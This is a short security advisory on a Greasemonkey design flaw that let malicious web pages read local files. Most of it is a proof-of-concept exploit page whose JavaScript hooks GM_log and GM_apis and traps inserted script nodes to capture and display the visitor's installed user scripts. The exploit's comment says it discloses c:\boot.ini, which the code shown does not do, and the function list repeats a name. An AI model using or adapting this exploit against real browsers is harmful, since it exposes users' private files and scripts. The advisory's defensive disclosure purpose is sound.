"Greasemonkey is a Firefox extension which lets users add user scripts (DHTML, technically) to any web page. These scripts can change any aspect of a web page s behavior, interaction, or design. This little baby is going to blow up business models."
A security vulnerability discovered in Greasemonkey allows websites that matches at least one user script (even * scripts) to read any local file on your machine, or to list the contents of local directories. This flaw applies to Greasemonkey on all platforms.
A vulnerability was identified in Greasemonkey, which could be exploited by remote attackers to read arbitrary files on a vulnerable system. This flaw is due to a design error when using insecure "GM_*" functions (i.e. GM_xmlhttpRequest, GM_getValue, or GM_getValue), which could be exploited via a malicious web page to read any file on a vulnerable system or list the contents of local directories.
Exploits:
// Proof of concept exploits by Mark Pilgrim
// #1 - Will disclose the contents of c:\boot.ini
< html>
< head>
< script type="text/javascript">
window._GM_xmlhttpRequest = null;
function trapInsertScript(event) {
var doc = event.currentTarget;
var arScripts = doc.getElementsByTagName('script');
if (arScripts.length > document._numPreviousScripts) {
window._GM_scripts.push(arScripts[document._numPreviousScripts].innerHTML);
}
}
function trapGM(sPropertyName, sOldValue, sNewValue) {
document.addEventListener('DOMNodeInserted', trapInsertScript, true);
return sNewValue;
}
function checkGM() {
document.removeEventListener('DOMNodeInserted', trapInsertScript, true);
var elmMessage = document.getElementById('message');
if (!window._GM_scripts.length) {
elmMessage.innerHTML = 'You do not appear to be running any Greasemonkey scripts,
or the test failed for some reason. Try installing some user scripts that run on all pages,
then refresh this page.';
return; }
var elmForm = document.getElementById('f');
for (var i = 0; i < window._GM_scripts.length; i++) {
var elmTextarea = document.createElement('textarea');
elmTextarea.rows = 20;
elmTextarea.cols = 80;
elmTextarea.value = window._GM_scripts[i];
elmForm.appendChild(elmTextarea);
elmForm.appendChild(document.createElement('br'));
if (!elmMessage.innerHTML) {
elmMessage.innerHTML = 'You appear to be running the following Greasemonkey user
scripts on this page:';
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM); // GM 0.3
window.watch('GM_apis', trapGM); // GM 0.4
window.addEventListener('load', checkGM, true);
}
< /script>
